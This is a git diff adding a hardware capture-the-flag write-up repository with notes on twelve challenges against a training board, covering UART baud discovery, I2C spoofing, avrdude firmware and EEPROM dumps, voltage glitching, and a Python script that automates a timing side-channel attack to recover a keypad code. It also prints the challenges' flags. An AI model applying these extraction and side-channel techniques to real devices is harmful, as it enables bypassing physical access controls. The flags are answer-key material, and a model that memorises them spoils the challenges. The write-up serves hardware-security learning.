+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/docs/10_GoB.png b/docs/10_GoB.png
new file mode 100644
index 0000000..f694e8c
--- /dev/null
+++ b/docs/10_GoB.png
Binary files differ
diff --git a/docs/10_GoB_config.py b/docs/10_GoB_config.py
new file mode 100644
index 0000000..01de69c
--- /dev/null
+++ b/docs/10_GoB_config.py
@@ -0,0 +1,152 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
+
+ functions.add_text("[INFO] Starting full code discovery sequence")
+
+ for digit_index in range(4):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
+ sequence = code_sequence.copy()
+ remaining_pulses = 4 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)}")
+
+ # Send all pulses in the sequence, starting timer immediately before the fourth pulse
+ for i, pin in enumerate(sequence):
+ if i == len(sequence) - 1:
+ # Start timer immediately before sending the fourth pulse
+ start_time = time.time()
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ # Allow a short interval for the device to react
+ time.sleep(0.05)
+ # Wait for the input to go HIGH and capture result
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Safely extract duration from result or compute fallback
+ if isinstance(result, dict):
+ duration = result.get("duration_ms",
+ int((end_time - start_time) * 1000))
+ else:
+ duration = int((end_time - start_time) * 1000)
+
+ functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
+ results[test_pin] = duration
+ else:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ # small pause between candidates
+ time.sleep(0.8)
+
+ # Choose the candidate with the longest duration for this digit
+ correct_pin = max(results, key=results.get)
+ code_sequence.append(correct_pin)
+
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
